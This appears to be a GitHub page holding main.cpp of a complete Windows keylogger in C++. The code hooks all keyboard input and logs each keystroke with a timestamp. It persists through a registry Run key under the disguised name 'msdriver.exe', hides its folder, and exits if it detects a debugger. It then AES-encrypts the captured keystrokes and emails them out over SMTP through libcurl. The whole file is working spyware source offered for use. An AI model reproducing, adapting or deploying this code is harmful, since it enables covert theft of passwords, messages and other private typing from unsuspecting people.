-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathmain.cpp
298 lines (252 loc) · 7.98 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
#define WIN32_LEAN_AND_MEAN
#define SHUTDOWN_IF_DEBUGGER_DETECTED
#pragma comment(lib, "ws2_32.lib") //WinSocks2
#pragma comment(lib, "wldap32.lib")
#pragma comment(lib, "Crypt32.lib")
#pragma warning(disable : 26812) //The enum type 'CURLcode' is unscoped. Prefer 'enum class' over 'enum'
#include <string>
#include <fstream>
#include <sstream>
#include <vector>
#include <windows.h>
#include <WinBase.h>
#include <tchar.h>
#include "curl/include/curl/curl.h"
#include "AES/AES.h"
typedef std::basic_string<TCHAR, std::char_traits<TCHAR>, std::allocator<TCHAR> > tstring;
using std::string;
using std::vector;
enum class WorkMode {
sendLogEmail,
writeLogFile
};
//Settings
tstring executableFileName(_T("msdriver.exe"));
tstring logFileName(_T("bin"));
tstring dirPath(_T("c:\\driver"));
bool copyToAutorun = true;
int timerPeriodSeconds = 10;
//Mail settings
bool trySendEmail = true;
string login = "sender@example.com";
string password = "password";
string URL = "smtp://smtp.example.com:587";
string repicient = "repicient@example.com";
//Encryption settings
bool encryptLogs = true;
string aesKey = "cdf851f8efcc9c58c980642ecb43665c1b3779754e22462c0bf63cd66429cdc9";
//Global variables
string keyLog;
HANDLE logFileHandle;
MSG msg;
string header = "To: " + repicient + "\r\n" +
"From: " + login + " (DuckCpp log sender)\r\n" +
"Subject: Log\r\n\r\n";
WorkMode mode = trySendEmail ? WorkMode::sendLogEmail : WorkMode::writeLogFile;
curl_slist* recipients = NULL;
vector<unsigned char> key;
AES aes(256);
//Function prototypes
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
VOID CALLBACK TimerCallback(HWND, UINT, UINT idTimer, DWORD dwTime);
static size_t readfunc(void* ptr, size_t size, size_t nmemb, void* userp);
void processLog();
bool sendMail();
void checkDebugging();
vector<unsigned char> hexToBytes(const string& hex);
inline char hexDigit(unsigned a);
string bytesToHex(unsigned char* data, int length);
void createDirectoryRecursively(tstring path);
//Main
int APIENTRY _tWinMain(_In_ HINSTANCE This, _In_opt_ HINSTANCE prev, _In_ LPWSTR cmd, _In_ int mode)
{
keyLog.reserve(256);
if(trySendEmail)
recipients = curl_slist_append(recipients, repicient.c_str());
#ifdef SHUTDOWN_IF_DEBUGGER_DETECTED
checkDebugging();
#endif
//Init encryption
if (encryptLogs)
key = hexToBytes(aesKey);
//Create directory for log
createDirectoryRecursively(dirPath);
//Copy to autorun
if (copyToAutorun) {
TCHAR szFileName[MAX_PATH];
GetModuleFileName(NULL, szFileName, MAX_PATH); //Get current instance's executable file path
tstring fileCopyPath = dirPath + _T("\\") + executableFileName; //Get final path
CopyFile(szFileName, fileCopyPath.c_str(), TRUE); //Copy executable file
//Set registry autorun key
HKEY hKey = NULL;
LSTATUS result = RegOpenKey(HKEY_CURRENT_USER, _T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), &hKey);
if (result == ERROR_SUCCESS)
{
RegSetValueEx(hKey, _T("Autorun"), 0, REG_SZ, (PBYTE)fileCopyPath.c_str(), fileCopyPath.size() * sizeof(TCHAR) + 1);
RegCloseKey(hKey);
}
}
//Create timer
SetTimer(NULL, 1, timerPeriodSeconds * 1000, (TIMERPROC)TimerCallback);
//Create or open log file
tstring logPath = dirPath + _T("\\") + logFileName;
logFileHandle = CreateFile(logPath.c_str(),
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_WRITE | FILE_SHARE_READ,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
0);
SetFilePointer(logFileHandle, 0, NULL, FILE_END); //Write to end of file
//WM_KEYBOARD_LL hook
HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, NULL);
if (hook == NULL) //Fatal
abort();
//Main cycle
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
KillTimer(NULL, 1); //Destroy timer
processLog(); //Last log processing
curl_slist_free_all(recipients);
CloseHandle(logFileHandle); //Close file handle
return 0;
}
//Keyboard event
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
if (code == HC_ACTION && wParam == WM_KEYDOWN)
{
//Time
char timeBuf[10];
SYSTEMTIME st;
GetLocalTime(&st);
sprintf_s(timeBuf, "%.2u:%.2u:%.2u ", st.wHour, st.wMinute, st.wSecond);
string line(timeBuf);
//Virtual key code
DWORD vkCode = (((LPKBDLLHOOKSTRUCT)lParam)->vkCode);
//Modifiers
if (vkCode != VK_SHIFT && GetAsyncKeyState(VK_SHIFT)) line += "SHIFT + ";
if (vkCode != VK_CONTROL && GetAsyncKeyState(VK_CONTROL)) line += "CTRL + ";
if (vkCode != VK_MENU && GetAsyncKeyState(VK_MENU)) line += "ALT + ";
char keyName[20];
GetKeyNameTextA(MapVirtualKeyA(vkCode, NULL) << 16, keyName, 20);
line.append(keyName);
keyLog += line + "\n";
line.clear();
}
return 0;
}
//Timer elapsed
VOID CALLBACK TimerCallback(HWND, UINT, UINT idTimer, DWORD dwTime)
{
processLog();
}
void processLog()
{
#ifdef SHUTDOWN_IF_DEBUGGER_DETECTED
checkDebugging();
#endif
if (keyLog.empty())
return;
if (encryptLogs)
{
vector<unsigned char> input(keyLog.begin(), keyLog.end());
unsigned int encryptedLength;
unsigned char* encrypted = aes.EncryptECB(&input[0], keyLog.size(), &key[0], encryptedLength);
keyLog = bytesToHex(encrypted, encryptedLength) + "\nENDBLOCK\n";
}
if (mode == WorkMode::sendLogEmail)
{
if (!sendMail())
mode = WorkMode::writeLogFile; //Fail sending mail; will write to file
}
if (mode == WorkMode::writeLogFile)
{
DWORD numberOfBytesWritten;
WriteFile(logFileHandle, keyLog.c_str(), keyLog.length(), &numberOfBytesWritten, NULL);
}
keyLog.clear();
}
static size_t readfunc(void* ptr, size_t size, size_t nmemb, void* userp)
{
static int callNumber = 0; //Call number counter, 0 - header, 1 - body, 2 - send mail
struct upload_status {
int lines_read;
} *upload_ctx = (upload_status*)userp;
if ((size == 0) || (nmemb == 0) || ((size * nmemb) < 1))
return 0;
string& data = (callNumber == 0 ? header : keyLog);
if (++callNumber == 3) {
callNumber = 0;
return 0;
}
memcpy(ptr, data.c_str(), data.length());
upload_ctx->lines_read++;
return data.length();
}
bool sendMail()
{
if (CURL* curl = curl_easy_init()) {
curl_easy_setopt(curl, CURLOPT_USERNAME, login.c_str());
curl_easy_setopt(curl, CURLOPT_PASSWORD, password.c_str());
curl_easy_setopt(curl, CURLOPT_URL, URL.c_str());
curl_easy_setopt(curl, CURLOPT_MAIL_FROM, login.c_str());
curl_easy_setopt(curl, CURLOPT_MAIL_RCPT, recipients);
curl_easy_setopt(curl, CURLOPT_READFUNCTION, readfunc);
curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
CURLcode res = curl_easy_perform(curl);
curl_easy_cleanup(curl);
return res == CURLE_OK;
}
else return false;
}
void checkDebugging()
{
BOOL dbgPresent = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &dbgPresent); //Anti-debug using NtQueryInformationProcess
CONTEXT context = {};
context.ContextFlags = CONTEXT_DEBUG_REGISTERS; //Check debug registers
GetThreadContext(GetCurrentThread(), &context);
if (IsDebuggerPresent() || dbgPresent || context.Dr0 != 0 || context.Dr1 != 0 || context.Dr2 != 0 || context.Dr3 != 0)
exit(0);
}
vector<unsigned char> hexToBytes(const string& hex)
{
vector<unsigned char> bytes(hex.size() / 2);
for (unsigned int i = 0; i < bytes.size(); ++i)
bytes[i] = (unsigned char)strtol(hex.substr(2 * i, 2).c_str(), NULL, 16);
return bytes;
}
inline char hexDigit(unsigned a)
{
return a + (a < 10 ? '0' : 'a' - 10);
}
string bytesToHex(unsigned char * data, int length)
{
string r(length * 2, '\0');
for (int i = 0; i < length; ++i) {
r[i * 2] = hexDigit(data[i] >> 4);
r[i * 2 + 1] = hexDigit(data[i] & 15);
}
return r;
}
void createDirectoryRecursively(tstring path)
{
BOOL directoryCreated = CreateDirectory(path.c_str(), NULL); //this function will only create the final directory in the path
if (!directoryCreated)
{
if (GetLastError() == ERROR_PATH_NOT_FOUND)
{
size_t newSize = path.find_last_of(_T('\\'));
if (newSize == tstring::npos)
abort();
tstring newPath(path.begin(), path.begin() + newSize);
createDirectoryRecursively(newPath);
CreateDirectory(path.c_str(), NULL);
}
}
SetFileAttributes(path.c_str(), FILE_ATTRIBUTE_HIDDEN);
}